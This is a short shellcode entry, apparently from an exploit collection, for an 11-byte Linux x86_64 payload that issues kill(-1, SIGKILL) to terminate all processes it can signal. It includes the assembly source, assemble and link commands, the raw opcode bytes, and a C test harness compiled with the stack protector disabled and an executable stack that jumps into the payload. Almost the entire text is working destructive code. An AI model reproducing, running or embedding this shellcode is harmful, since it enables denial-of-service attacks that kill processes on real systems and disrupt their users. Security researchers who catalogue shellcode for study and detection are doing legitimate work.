11 bytes small Linux/x64 kill all processes shellcode.
9801cf888534ad049b4f7341c8810313e2b0ffe4d3026f884c118f998e8b6ac5
/*
;Title: Linux/x86_64 - KILL_ALL
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 11 bytes
========DESCTIPTION===========================
#include <sys/types.h>
#include <signal.h>
int kill(pid_t pid, int sig);
===COMPILATION AND EXECUTION==================
#nasm -f elf64 kill.nasm -o kill.o
#ld kill.o -o kill
=================SHELLCODE================
global _start
section .text
_start:
push 0x3e ; sys kill
pop rax
push -1 ; pid
pop rdi
push 0x9 ; sig kill
pop rsi
syscall
====================FOR C Compile===========================
# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}